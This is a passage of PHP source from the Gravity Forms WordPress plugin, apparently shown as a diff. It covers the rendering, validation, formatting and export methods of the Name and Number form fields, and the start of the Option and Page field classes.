$first = esc_attr( GFForms::get( $this->id . '.3', $value ) );
$middle = esc_attr( GFForms::get( $this->id . '.4', $value ) );
$last = esc_attr( GFForms::get( $this->id . '.6', $value ) );
$suffix = esc_attr( GFForms::get( $this->id . '.8', $value ) );
}
$prefix_input = GFFormsModel::get_input( $this, $this->id . '.2' );
$first_input = GFFormsModel::get_input( $this, $this->id . '.3' );
$middle_input = GFFormsModel::get_input( $this, $this->id . '.4' );
$last_input = GFFormsModel::get_input( $this, $this->id . '.6' );
$suffix_input = GFFormsModel::get_input( $this, $this->id . '.8' );
$first_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $first_input );
$middle_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $middle_input );
$last_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $last_input );
$suffix_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $suffix_input );
// ARIA labels. Prefix is handled in self::get_name_prefix_field().
$first_name_aria_label = esc_attr__( 'First name', 'gravityforms' );
$middle_name_aria_label = esc_attr__( 'Middle name', 'gravityforms' );
$last_name_aria_label = esc_attr__( 'Last name', 'gravityforms' );
$suffix_aria_label = esc_attr__( 'Name suffix', 'gravityforms' );
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
switch ( $this->nameFormat ) {
case 'advanced' :
case 'extended' :
$prefix_tabindex = GFCommon::get_tabindex();
$first_tabindex = GFCommon::get_tabindex();
$middle_tabindex = GFCommon::get_tabindex();
$last_tabindex = GFCommon::get_tabindex();
$suffix_tabindex = GFCommon::get_tabindex();
$prefix_sub_label = rgar( $prefix_input, 'customLabel' ) != '' ? $prefix_input['customLabel'] : gf_apply_filters( array( 'gform_name_prefix', $form_id ), esc_html__( 'Prefix', 'gravityforms' ), $form_id );
$first_name_sub_label = rgar( $first_input, 'customLabel' ) != '' ? $first_input['customLabel'] : gf_apply_filters( array( 'gform_name_first', $form_id ), esc_html__( 'First', 'gravityforms' ), $form_id );
$middle_name_sub_label = rgar( $middle_input, 'customLabel' ) != '' ? $middle_input['customLabel'] : gf_apply_filters( array( 'gform_name_middle', $form_id ), esc_html__( 'Middle', 'gravityforms' ), $form_id );
$last_name_sub_label = rgar( $last_input, 'customLabel' ) != '' ? $last_input['customLabel'] : gf_apply_filters( array( 'gform_name_last', $form_id ), esc_html__( 'Last', 'gravityforms' ), $form_id );
$suffix_sub_label = rgar( $suffix_input, 'customLabel' ) != '' ? $suffix_input['customLabel'] : gf_apply_filters( array( 'gform_name_suffix', $form_id ), esc_html__( 'Suffix', 'gravityforms' ), $form_id );
$prefix_markup = '';
$first_markup = '';
$middle_markup = '';
$last_markup = '';
$suffix_markup = '';
if ( $is_sub_label_above ) {
$style = ( $is_admin && rgar( $prefix_input, 'isHidden' ) ) ? "style='display:none;'" : '';
if ( $is_admin || ! rgar( $prefix_input, 'isHidden' ) ) {
$prefix_select_class = isset( $prefix_input['choices'] ) && is_array( $prefix_input['choices'] ) ? 'name_prefix_select' : '';
$prefix_markup = self::get_name_prefix_field( $prefix_input, $id, $field_id, $prefix, $disabled_text, $prefix_tabindex );
$prefix_markup = "<span id='{$field_id}_2_container' class='name_prefix {$prefix_select_class}' {$style}>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$prefix_sub_label}</label>
{$prefix_markup}
</span>";
}
$style = ( $is_admin && rgar( $first_input, 'isHidden' ) ) ? "style='display:none;'" : '';
if ( $is_admin || ! rgar( $first_input, 'isHidden' ) ) {
$first_markup = "<span id='{$field_id}_3_container' class='name_first' {$style}>
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$first_name_sub_label}</label>
<input type='text' name='input_{$id}.3' id='{$field_id}_3' value='{$first}' aria-label='{$first_name_aria_label}' {$first_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$first_placeholder_attribute}/>
</span>";
}
$style = ( $is_admin && ( ! isset( $middle_input['isHidden'] ) || rgar( $middle_input, 'isHidden' ) ) ) ? "style='display:none;'" : '';
if ( $is_admin || ( isset( $middle_input['isHidden'] ) && $middle_input['isHidden'] == false ) ) {
$middle_markup = "<span id='{$field_id}_4_container' class='name_middle' {$style}>
<label for='{$field_id}_4' {$sub_label_class_attribute}>{$middle_name_sub_label}</label>
<input type='text' name='input_{$id}.4' id='{$field_id}_4' value='{$middle}' aria-label='{$middle_name_aria_label}' {$middle_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$middle_placeholder_attribute}/>
</span>";
}
$style = ( $is_admin && rgar( $last_input, 'isHidden' ) ) ? "style='display:none;'" : '';
if ( $is_admin || ! rgar( $last_input, 'isHidden' ) ) {
$last_markup = "<span id='{$field_id}_6_container' class='name_last' {$style}>
<label for='{$field_id}_6' {$sub_label_class_attribute}>{$last_name_sub_label}</label>
<input type='text' name='input_{$id}.6' id='{$field_id}_6' value='{$last}' aria-label='{$last_name_aria_label}' {$last_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$last_placeholder_attribute}/>
</span>";
}
$style = ( $is_admin && rgar( $suffix_input, 'isHidden' ) ) ? "style='display:none;'" : '';
if ( $is_admin || ! rgar( $suffix_input, 'isHidden' ) ) {
$suffix_select_class = isset( $suffix_input['choices'] ) && is_array( $suffix_input['choices'] ) ? 'name_suffix_select' : '';
$suffix_markup = "<span id='{$field_id}_8_container' class='name_suffix {$suffix_select_class}' {$style}>
<label for='{$field_id}_8' {$sub_label_class_attribute}>{$suffix_sub_label}</label>
<input type='text' name='input_{$id}.8' id='{$field_id}_8' value='{$suffix}' aria-label='{$suffix_aria_label}' {$suffix_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$suffix_placeholder_attribute}/>
</span>";
}
} else {
$style = ( $is_admin && rgar( $prefix_input, 'isHidden' ) ) ? "style='display:none;'" : '';
if ( $is_admin || ! rgar( $prefix_input, 'isHidden' ) ) {
$prefix_select_class = isset( $prefix_input['choices'] ) && is_array( $prefix_input['choices'] ) ? 'name_prefix_select' : '';
$prefix_markup = self::get_name_prefix_field( $prefix_input, $id, $field_id, $prefix, $disabled_text, $prefix_tabindex );
$prefix_markup = "<span id='{$field_id}_2_container' class='name_prefix {$prefix_select_class}' {$style}>
{$prefix_markup}
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$prefix_sub_label}</label>
</span>";
}
$style = ( $is_admin && rgar( $first_input, 'isHidden' ) ) ? "style='display:none;'" : '';
if ( $is_admin || ! rgar( $first_input, 'isHidden' ) ) {
$first_markup = "<span id='{$field_id}_3_container' class='name_first' {$style}>
<input type='text' name='input_{$id}.3' id='{$field_id}_3' value='{$first}' aria-label='{$first_name_aria_label}' {$first_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$first_placeholder_attribute}/>
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$first_name_sub_label}</label>
</span>";
}
$style = ( $is_admin && ( ! isset( $middle_input['isHidden'] ) || rgar( $middle_input, 'isHidden' ) ) ) ? "style='display:none;'" : '';
if ( $is_admin || ( isset( $middle_input['isHidden'] ) && $middle_input['isHidden'] == false ) ) {
$middle_markup = "<span id='{$field_id}_4_container' class='name_middle' {$style}>
<input type='text' name='input_{$id}.4' id='{$field_id}_4' value='{$middle}' aria-label='{$middle_name_aria_label}' {$middle_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$middle_placeholder_attribute}/>
<label for='{$field_id}_4' {$sub_label_class_attribute}>{$middle_name_sub_label}</label>
</span>";
}
$style = ( $is_admin && rgar( $last_input, 'isHidden' ) ) ? "style='display:none;'" : '';
if ( $is_admin || ! rgar( $last_input, 'isHidden' ) ) {
$last_markup = "<span id='{$field_id}_6_container' class='name_last' {$style}>
<input type='text' name='input_{$id}.6' id='{$field_id}_6' value='{$last}' aria-label='{$last_name_aria_label}' {$last_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$last_placeholder_attribute}/>
<label for='{$field_id}_6' {$sub_label_class_attribute}>{$last_name_sub_label}</label>
</span>";
}
$style = ( $is_admin && rgar( $suffix_input, 'isHidden' ) ) ? "style='display:none;'" : '';
if ( $is_admin || ! rgar( $suffix_input, 'isHidden' ) ) {
$suffix_select_class = isset( $suffix_input['choices'] ) && is_array( $suffix_input['choices'] ) ? 'name_suffix_select' : '';
$suffix_markup = "<span id='{$field_id}_8_container' class='name_suffix {$suffix_select_class}' {$style}>
<input type='text' name='input_{$id}.8' id='{$field_id}_8' value='{$suffix}' aria-label='{$suffix_aria_label}' {$suffix_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$suffix_placeholder_attribute}/>
<label for='{$field_id}_8' {$sub_label_class_attribute}>{$suffix_sub_label}</label>
</span>";
}
}
$css_class = $this->get_css_class();
return "<div class='ginput_complex{$class_suffix} ginput_container {$css_class} gfield_trigger_change' id='{$field_id}'>
{$prefix_markup}
{$first_markup}
{$middle_markup}
{$last_markup}
{$suffix_markup}
</div>";
case 'simple' :
$value = esc_attr( $value );
$class = esc_attr( $class );
$tabindex = GFCommon::get_tabindex();
$placeholder_attribute = GFCommon::get_field_placeholder_attribute( $this );
return "<div class='ginput_container ginput_container_name'>
<input name='input_{$id}' id='{$field_id}' type='text' value='{$value}' class='{$class}' {$tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$placeholder_attribute}/>
</div>";
default :
$first_tabindex = GFCommon::get_tabindex();
$last_tabindex = GFCommon::get_tabindex();
$first_name_sub_label = rgar( $first_input, 'customLabel' ) != '' ? $first_input['customLabel'] : gf_apply_filters( array( 'gform_name_first', $form_id ), esc_html__( 'First', 'gravityforms' ), $form_id );
$last_name_sub_label = rgar( $last_input, 'customLabel' ) != '' ? $last_input['customLabel'] : gf_apply_filters( array( 'gform_name_last', $form_id ), esc_html__( 'Last', 'gravityforms' ), $form_id );
if ( $is_sub_label_above ) {
$first_markup = '';
$style = ( $is_admin && rgar( $first_input, 'isHidden' ) ) ? "style='display:none;'" : '';
if ( $is_admin || ! rgar( $first_input, 'isHidden' ) ) {
$first_markup = "<span id='{$field_id}_3_container' class='name_first' {$style}>
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$first_name_sub_label}</label>
<input type='text' name='input_{$id}.3' id='{$field_id}_3' value='{$first}' aria-label='{$first_name_aria_label}' {$first_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$first_placeholder_attribute}/>
</span>";
}
$last_markup = '';
$style = ( $is_admin && rgar( $last_input, 'isHidden' ) ) ? "style='display:none;'" : '';
if ( $is_admin || ! rgar( $last_input, 'isHidden' ) ) {
$last_markup = "<span id='{$field_id}_6_container' class='name_last' {$style}>
<label for='{$field_id}_6' {$sub_label_class_attribute}>" . $last_name_sub_label . "</label>
<input type='text' name='input_{$id}.6' id='{$field_id}_6' value='{$last}' aria-label='{$last_name_aria_label}' {$last_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$last_placeholder_attribute}/>
</span>";
}
} else {
$first_markup = '';
$style = ( $is_admin && rgar( $first_input, 'isHidden' ) ) ? "style='display:none;'" : '';
if ( $is_admin || ! rgar( $first_input, 'isHidden' ) ) {
$first_markup = "<span id='{$field_id}_3_container' class='name_first' {$style}>
<input type='text' name='input_{$id}.3' id='{$field_id}_3' value='{$first}' aria-label='{$first_name_aria_label}' {$first_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$first_placeholder_attribute}/>
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$first_name_sub_label}</label>
</span>";
}
$last_markup = '';
$style = ( $is_admin && rgar( $last_input, 'isHidden' ) ) ? "style='display:none;'" : '';
if ( $is_admin || ! rgar( $last_input, 'isHidden' ) ) {
$last_markup = "<span id='{$field_id}_6_container' class='name_last' {$style}>
<input type='text' name='input_{$id}.6' id='{$field_id}_6' value='{$last}' aria-label='{$last_name_aria_label}' {$last_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$last_placeholder_attribute}/>
<label for='{$field_id}_6' {$sub_label_class_attribute}>{$last_name_sub_label}</label>
</span>";
}
}
$css_class = $this->get_css_class();
return "<div class='ginput_complex{$class_suffix} ginput_container {$css_class}' id='{$field_id}'>
{$first_markup}
{$last_markup}
<div class='gf_clear gf_clear_complex'></div>
</div>";
}
}
/**
* Defines the CSS class to be applied to the field label.
*
* @since Unknown
* @access public
*
* @used-by GF_Field::get_field_content()
*
* @return string The CSS class.
*/
public function get_field_label_class() {
return 'gfield_label gfield_label_before_complex';
}
/**
* Sets the CSS class to be used by the field input.
*
* @since Unknown
* @access public
*
* @used-by GF_Field_Name::get_field_input()
* @uses GFFormsModel::get_input()
*
* @return string The CSS class to use for the field.
*/
public function get_css_class() {
$prefix_input = GFFormsModel::get_input( $this, $this->id . '.2' );
$first_input = GFFormsModel::get_input( $this, $this->id . '.3' );
$middle_input = GFFormsModel::get_input( $this, $this->id . '.4' );
$last_input = GFFormsModel::get_input( $this, $this->id . '.6' );
$suffix_input = GFFormsModel::get_input( $this, $this->id . '.8' );
$css_class = '';
$visible_input_count = 0;
if ( $prefix_input && ! rgar( $prefix_input, 'isHidden' ) ) {
$visible_input_count++;
$css_class .= 'has_prefix ';
} else {
$css_class .= 'no_prefix ';
}
if ( $first_input && ! rgar( $first_input, 'isHidden' ) ) {
$visible_input_count++;
$css_class .= 'has_first_name ';
} else {
$css_class .= 'no_first_name ';
}
if ( $middle_input && ! rgar( $middle_input, 'isHidden' ) ) {
$visible_input_count++;
$css_class .= 'has_middle_name ';
} else {
$css_class .= 'no_middle_name ';
}
if ( $last_input && ! rgar( $last_input, 'isHidden' ) ) {
$visible_input_count++;
$css_class .= 'has_last_name ';
} else {
$css_class .= 'no_last_name ';
}
if ( $suffix_input && ! rgar( $suffix_input, 'isHidden' ) ) {
$visible_input_count++;
$css_class .= 'has_suffix ';
} else {
$css_class .= 'no_suffix ';
}
$css_class .= "gf_name_has_{$visible_input_count} ginput_container_name ";
return trim( $css_class );
}
/**
* Defines the field markup to be used for the name prefix.
*
* @since Unknown
* @access public
*
* @used-by GF_Field_Name::get_field_input()
* @uses GFCommon::get_input_placeholder_value()
* @uses GFCommon::get_input_placeholder_attribute()
*
* @param array $input The input item choices.
* @param int $id The ID of the name field.
* @param int $field_id The field ID of the name field.
* @param string $value The value to be used in the prefix field item.
* @param string $disabled_text The text to be used if the prefix field item is disabled.
* @param int $tabindex The tab index of the prefix field item.
*
* @return string The field HTML markup.
*/
public static function get_name_prefix_field( $input, $id, $field_id, $value, $disabled_text, $tabindex ) {
$prefix_aria_label = esc_attr__( 'Name prefix', 'gravityforms' );
if ( isset( $input['choices'] ) && is_array( $input['choices'] ) ) {
$placeholder_value = GFCommon::get_input_placeholder_value( $input );
$options = "<option value=''>{$placeholder_value}</option>";
$value_enabled = rgar( $input, 'enableChoiceValue' );
foreach ( $input['choices'] as $choice ) {
$choice_value = $value_enabled ? $choice['value'] : $choice['text'];
$is_selected_by_default = rgar( $choice, 'isSelected' );
$is_this_choice_selected = empty( $value ) ? $is_selected_by_default : strtolower( $choice_value ) == strtolower( $value );
$selected = $is_this_choice_selected ? "selected='selected'" : '';
$options .= "<option value='{$choice_value}' {$selected}>{$choice['text']}</option>";
}
$markup = "<select name='input_{$id}.2' id='{$field_id}_2' aria-label='{$prefix_aria_label}' {$tabindex} {$disabled_text}>
{$options}
</select>";
} else {
$placeholder_attribute = GFCommon::get_input_placeholder_attribute( $input );
$markup = "<input type='text' name='input_{$id}.2' id='{$field_id}_2' value='{$value}' aria-label='{$prefix_aria_label}' {$tabindex} {$disabled_text} {$placeholder_attribute}/>";
}
return $markup;
}
/**
* Gets the field value to be displayed on the entry detail page.
*
* @since Unknown
* @access public
*
* @used-by GFCommon::get_lead_field_display()
* @uses GF_Field_Name::$id
*
* @param array|string $value The value of the field input.
* @param string $currency Not used.
* @param bool $use_text Not used.
* @param string $format The format to output the value. Defaults to 'html'.
* @param string $media Not used.
*
* @return array|string The value to be displayed on the entry detail page.
*/
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
if ( is_array( $value ) ) {
$prefix = trim( rgget( $this->id . '.2', $value ) );
$first = trim( rgget( $this->id . '.3', $value ) );
$middle = trim( rgget( $this->id . '.4', $value ) );
$last = trim( rgget( $this->id . '.6', $value ) );
$suffix = trim( rgget( $this->id . '.8', $value ) );
$name = $prefix;
$name .= ! empty( $name ) && ! empty( $first ) ? " $first" : $first;
$name .= ! empty( $name ) && ! empty( $middle ) ? " $middle" : $middle;
$name .= ! empty( $name ) && ! empty( $last ) ? " $last" : $last;
$name .= ! empty( $name ) && ! empty( $suffix ) ? " $suffix" : $suffix;
$return = $name;
} else {
$return = $value;
}
if ( $format === 'html' ) {
$return = esc_html( $return );
}
return $return;
}
/**
* Gets a property value from an input.
*
* @since Unknown
* @access public
*
* @used-by GF_Field_Name::validate()
* @uses GFFormsModel::get_input()
*
* @param int $input_id The input ID to obtain the property from.
* @param string $property_name The property name to search for.
*
* @return null|string The property value if found. Otherwise, null.
*/
public function get_input_property( $input_id, $property_name ) {
$input = GFFormsModel::get_input( $this, $this->id . '.' . (string) $input_id );
return rgar( $input, $property_name );
}
/**
* Sanitizes the field settings choices.
*
* @since Unknown
* @access public
*
* @used-by GFFormDetail::add_field()
* @used-by GFFormsModel::sanitize_settings()
* @uses GF_Field::sanitize_settings()
* @uses GF_Field::sanitize_settings_choices()
*
* @return void
*/
public function sanitize_settings() {
parent::sanitize_settings();
if ( is_array( $this->inputs ) ) {
foreach ( $this->inputs as &$input ) {
if ( isset ( $input['choices'] ) && is_array( $input['choices'] ) ) {
$input['choices'] = $this->sanitize_settings_choices( $input['choices'] );
}
}
}
}
/**
* Gets the field value to be used when exporting.
*
* @since Unknown
* @access public
*
* @used-by GFExport::start_export()
* @used-by GFAddOn::get_field_value()
* @used-by GFAddOn::get_full_name()
*
* @param array $entry The Entry Object.
* @param string $input_id The input ID to format. Defaults to empty string. If not set, uses t
* @param bool $use_text Not used.
* @param bool $is_csv Not used.
*
* @return string The field value.
*/
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
if ( empty( $input_id ) ) {
$input_id = $this->id;
}
if ( absint( $input_id ) == $input_id ) {
// If field is simple (one input), simply return full content.
$name = rgar( $entry, $input_id );
if ( ! empty( $name ) ) {
return $name;
}
// Complex field (multiple inputs). Join all pieces and create name.
$prefix = trim( rgar( $entry, $input_id . '.2' ) );
$first = trim( rgar( $entry, $input_id . '.3' ) );
$middle = trim( rgar( $entry, $input_id . '.4' ) );
$last = trim( rgar( $entry, $input_id . '.6' ) );
$suffix = trim( rgar( $entry, $input_id . '.8' ) );
$name = $prefix;
$name .= ! empty( $name ) && ! empty( $first ) ? ' ' . $first : $first;
$name .= ! empty( $name ) && ! empty( $middle ) ? ' ' . $middle : $middle;
$name .= ! empty( $name ) && ! empty( $last ) ? ' ' . $last : $last;
$name .= ! empty( $name ) && ! empty( $suffix ) ? ' ' . $suffix : $suffix;
return $name;
} else {
return rgar( $entry, $input_id );
}
}
}
// Registers the Name field with the field framework.
GF_Fields::register( new GF_Field_Name() );

View File

@@ -0,0 +1,288 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Number extends GF_Field {
public $type = 'number';
public function get_form_editor_field_title() {
return esc_attr__( 'Number', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'number_format_setting',
'range_setting',
'rules_setting',
'visibility_setting',
'duplicate_setting',
'default_value_setting',
'placeholder_setting',
'description_setting',
'css_class_setting',
'calculation_setting',
);
}
public function is_conditional_logic_supported() {
return true;
}
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
$value = $this->get_input_value_submission( 'input_' . $this->id, $this->inputName, $field_values, $get_from_post_global_var );
$value = trim( $value );
if ( $this->numberFormat == 'currency' ) {
$currency = new RGCurrency( GFCommon::get_currency() );
$value = $currency->to_number( $value );
} elseif ( $this->numberFormat == 'decimal_comma' ) {
$value = GFCommon::clean_number( $value, 'decimal_comma' );
} elseif ( $this->numberFormat == 'decimal_dot' ) {
$value = GFCommon::clean_number( $value, 'decimal_dot' );
}
return $value;
}
public function validate( $value, $form ) {
// The POST value has already been converted from currency or decimal_comma to decimal_dot and then cleaned in get_field_value().
$value = GFCommon::maybe_add_leading_zero( $value );
// Raw value will be tested against the is_numeric() function to make sure it is in the right format.
$raw_value = GFCommon::maybe_add_leading_zero( rgpost( 'input_' . $this->id ) );
$requires_valid_number = ! rgblank( $raw_value ) && ! $this->has_calculation();
$is_valid_number = $this->validate_range( $value ) && GFCommon::is_numeric( $raw_value, $this->numberFormat );
if ( $requires_valid_number && ! $is_valid_number ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? $this->get_range_message() : $this->errorMessage;
} elseif ( $this->type == 'quantity' ) {
if ( intval( $value ) != $value ) {
$this->failed_validation = true;
$this->validation_message = empty( $field['errorMessage'] ) ? esc_html__( 'Please enter a valid quantity. Quantity cannot contain decimals.', 'gravityforms' ) : $field['errorMessage'];
} elseif ( ! empty( $value ) && ( ! is_numeric( $value ) || intval( $value ) != floatval( $value ) || intval( $value ) < 0 ) ) {
$this->failed_validation = true;
$this->validation_message = empty( $field['errorMessage'] ) ? esc_html__( 'Please enter a valid quantity', 'gravityforms' ) : $field['errorMessage'];
}
}
}
/**
* Validates the range of the number according to the field settings.
*
* @param string $value A decimal_dot formatted string
*
* @return true|false True on valid or false on invalid
*/
private function validate_range( $value ) {
if ( ! GFCommon::is_numeric( $value, 'decimal_dot' ) ) {
return false;
}
$numeric_min = $this->numberFormat == 'decimal_comma' ? GFCommon::clean_number( $this->rangeMin, 'decimal_comma' ) : $this->rangeMin;
$numeric_max = $this->numberFormat == 'decimal_comma' ? GFCommon::clean_number( $this->rangeMax, 'decimal_comma' ) : $this->rangeMax;
if ( ( is_numeric( $numeric_min ) && $value < $numeric_min ) ||
( is_numeric( $numeric_max ) && $value > $numeric_max )
) {
return false;
} else {
return true;
}
}
public function get_range_message() {
$min = $this->rangeMin;
$max = $this->rangeMax;
$numeric_min = $min;
$numeric_max = $max;
if( $this->numberFormat == 'decimal_comma' ){
$numeric_min = empty( $min ) ? '' : GFCommon::clean_number( $min, 'decimal_comma', '');
$numeric_max = empty( $max ) ? '' : GFCommon::clean_number( $max, 'decimal_comma', '');
}
$message = '';
if ( is_numeric( $numeric_min ) && is_numeric( $numeric_max ) ) {
$message = sprintf( esc_html__( 'Please enter a value between %s and %s.', 'gravityforms' ), "<strong>$min</strong>", "<strong>$max</strong>" );
} elseif ( is_numeric( $numeric_min ) ) {
$message = sprintf( esc_html__( 'Please enter a value greater than or equal to %s.', 'gravityforms' ), "<strong>$min</strong>" );
} elseif ( is_numeric( $numeric_max ) ) {
$message = sprintf( esc_html__( 'Please enter a value less than or equal to %s.', 'gravityforms' ), "<strong>$max</strong>" );
} elseif ( $this->failed_validation ) {
$message = esc_html__( 'Please enter a valid number', 'gravityforms' );
}
return $message;
}
public function get_field_input( $form, $value = '', $entry = null ) {
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$form_id = $form['id'];
$id = intval( $this->id );
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$size = $this->size;
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$instruction = '';
$read_only = '';
if ( ! $is_entry_detail && ! $is_form_editor ) {
if ( $this->has_calculation() ) {
// calculation-enabled fields should be read only
$read_only = 'readonly="readonly"';
} else {
$message = $this->get_range_message();
$validation_class = $this->failed_validation ? 'validation_message' : '';
if ( ! $this->failed_validation && ! empty( $message ) && empty( $this->errorMessage ) ) {
$instruction = "<div class='instruction $validation_class'>" . $message . '</div>';
}
}
} elseif ( rgget('view') == 'entry' ) {
$value = GFCommon::format_number( $value, $this->numberFormat, rgar( $entry, 'currency' ) );
}
$is_html5 = RGFormsModel::is_html5_enabled();
$html_input_type = $is_html5 && ! $this->has_calculation() && ( $this->numberFormat != 'currency' && $this->numberFormat != 'decimal_comma' ) ? 'number' : 'text'; // chrome does not allow number fields to have commas, calculations and currency values display numbers with commas
$step_attr = $is_html5 ? "step='any'" : '';
$min = $this->rangeMin;
$max = $this->rangeMax;
$min_attr = $is_html5 && is_numeric( $min ) ? "min='{$min}'" : '';
$max_attr = $is_html5 && is_numeric( $max ) ? "max='{$max}'" : '';
$logic_event = $this->get_conditional_logic_event( 'keyup' );
$include_thousands_sep = apply_filters( 'gform_include_thousands_sep_pre_format_number', $html_input_type == 'text', $this );
$value = GFCommon::format_number( $value, $this->numberFormat, rgar( $entry, 'currency' ), $include_thousands_sep );
$placeholder_attribute = $this->get_field_placeholder_attribute();
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
$tabindex = $this->get_tabindex();
$input = sprintf( "<div class='ginput_container ginput_container_number'><input name='input_%d' id='%s' type='{$html_input_type}' {$step_attr} {$min_attr} {$max_attr} value='%s' class='%s' {$tabindex} {$logic_event} {$read_only} %s %s %s %s/>%s</div>", $id, $field_id, esc_attr( $value ), esc_attr( $class ), $disabled_text, $placeholder_attribute, $required_attribute, $invalid_attribute, $instruction );
return $input;
}
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
$include_thousands_sep = apply_filters( 'gform_include_thousands_sep_pre_format_number', true, $this );
return GFCommon::format_number( $value, $this->numberFormat, rgar( $entry, 'currency' ), $include_thousands_sep );
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
$include_thousands_sep = apply_filters( 'gform_include_thousands_sep_pre_format_number', $use_text, $this );
return GFCommon::format_number( $value, $this->numberFormat, $currency, $include_thousands_sep );
}
/**
* Gets merge tag values.
*
* @since Unknown
* @access public
*
* @uses GFCommon::format_number()
*
* @param array|string $value The value of the input.
* @param string $input_id The input ID to use.
* @param array $entry The Entry Object.
* @param array $form The Form Object
* @param string $modifier The modifier passed.
* @param array|string $raw_value The raw value of the input.
* @param bool $url_encode If the result should be URL encoded.
* @param bool $esc_html If the HTML should be escaped.
* @param string $format The format that the value should be.
* @param bool $nl2br If the nl2br function should be used.
*
* @return string The processed merge tag.
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
/**
* Filters is the thousands separator should be used when displaying the a number field result.
*
* @since Unknown
*
* @param bool $modifier != 'value' If the modifier passed in the merge tag is not 'value', false. Otherwise, true.
* @param object GF_Field_Number An instance of this class.
*/
$include_thousands_sep = apply_filters( 'gform_include_thousands_sep_pre_format_number', $modifier != 'value', $this );
$formatted_value = GFCommon::format_number( $value, $this->numberFormat, rgar( $entry, 'currency' ), $include_thousands_sep );
return $url_encode ? urlencode( $formatted_value ) : $formatted_value;
}
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
$value = GFCommon::maybe_add_leading_zero( $value );
$lead = empty( $lead ) ? RGFormsModel::get_lead( $lead_id ) : $lead;
$value = $this->has_calculation() ? GFCommon::round_number( GFCommon::calculate( $this, $form, $lead ), $this->calculationRounding ) : $this->clean_number( $value );
//return the value as a string when it is zero and a calc so that the "==" comparison done when checking if the field has changed isn't treated as false
if ( $this->has_calculation() && $value == 0 ) {
$value = '0';
}
$value_safe = $this->sanitize_entry_value( $value, $form['id'] );
return $value_safe;
}
public function sanitize_settings() {
parent::sanitize_settings();
$this->enableCalculation = (bool) $this->enableCalculation;
if ( ! in_array( $this->numberFormat, array( 'currency', 'decimal_comma', 'decimal_dot' ) ) ) {
$this->numberFormat = GFCommon::is_currency_decimal_dot() ? 'decimal_dot' : 'decimal_comma';
}
$this->rangeMin = $this->clean_number( $this->rangeMin );
$this->rangeMax = $this->clean_number( $this->rangeMax );
if ( $this->numberFormat == 'decimal_comma' ) {
$this->rangeMin = GFCommon::format_number( $this->rangeMin, 'decimal_comma' );
$this->rangeMax = GFCommon::format_number( $this->rangeMax, 'decimal_comma' );
}
}
public function clean_number( $value ) {
if ( $this->numberFormat == 'currency' ) {
return GFCommon::to_number( $value );
} else {
return GFCommon::clean_number( $value, $this->numberFormat );
}
}
}
GF_Fields::register( new GF_Field_Number() );

View File

@@ -0,0 +1,34 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Option extends GF_Field {
public $type = 'option';
function get_form_editor_field_settings() {
return array(
'product_field_setting',
'option_field_type_setting',
'conditional_logic_field_setting',
'prepopulate_field_setting',
'label_setting',
'admin_label_setting',
'label_placement_setting',
'default_value_setting',
'placeholder_setting',
'description_setting',
'css_class_setting',
);
}
public function get_form_editor_field_title() {
return esc_attr__( 'Option', 'gravityforms' );
}
}
GF_Fields::register( new GF_Field_Option() );

View File

@@ -0,0 +1,46 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Page extends GF_Field {
public $type = 'page';
public function get_form_editor_field_title() {
return esc_attr__( 'Page', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'next_button_setting',
'previous_button_setting',
'css_class_setting',
'conditional_logic_page_setting',
'conditional_logic_nextbutton_setting',
);
}
public function get_field_content( $value, $force_frontend_label, $form ) {
$admin_buttons = $this->get_admin_buttons();
